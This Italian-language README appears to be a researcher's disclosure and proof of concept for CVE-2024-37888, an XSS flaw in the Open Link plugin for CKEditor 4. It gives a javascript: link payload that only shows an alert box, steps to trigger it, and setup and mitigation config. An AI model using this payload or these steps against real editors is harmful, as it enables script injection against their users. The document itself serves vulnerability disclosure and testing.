
XSS PoC/Exploit per il plugin Open Link per CKEditor 4
Questo repository documenta i dettagli della vulnerabilità e lo sfruttamento per CVE-2024-37888 scoperto e segnalato da me stesso.
Questa Proof of Concept (POC) dimostra lo sfruttamento di una vulnerabilità XSS scoperta da me recentemente nel plugin Open Link che, quando abilitato, colpisce direttamente tutte le versioni di CKEditor 4. Il difetto permette l'esecuzione di JavaScript attraverso link appositamente creati all'interno dell'editor, che il plugin non riesce a sanificare. Questo difetto può essere sfruttato all'interno dell'area di testo solo quando il plugin Open Link è installato. Il plugin Open Link ci consente di aprire link direttamente all'interno dell'area di editing.
Questa vulnerabilità può essere testata dall'istanza CKEditor preconfigurata presente qui.
Inserisci Payload:
Apri l'istanza CKEditor e clicca sull'icona 'Source'.
Inserisci il seguente payload nell'area di testo:
<a href="javascript:alert('XSS Found')">XSS</a>

Passa alla modalità WYSIWYG:

Attiva XSS:

Puoi configurare la tua istanza locale per testare questa vulnerabilità seguendo i passaggi seguenti.
Scarica CKEditor 4:

Installa il Plugin Open Link:
ckeditor/plugins/openlink.
Aggiorna la Configurazione per Includere il Plugin OpenLink:
config.js di CKEditor aggiungendo le seguenti righe alla fine:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js:CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
Questa vulnerabilità è stata scoperta nel codice base del plugin Open Link e non nel codice base di CKEditor 4. La POC sopra dimostra lo sfruttamento di una vulnerabilità XSS tramite il plugin Open Link in CKEditor 4.*.*. Il difetto permette l'esecuzione arbitraria di JavaScript attraverso link appositamente creati, rappresentando un rischio significativo per la sicurezza.
config.disallowedContent = 'a[onclick]';
Includi CKEditor nell'HTML:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>
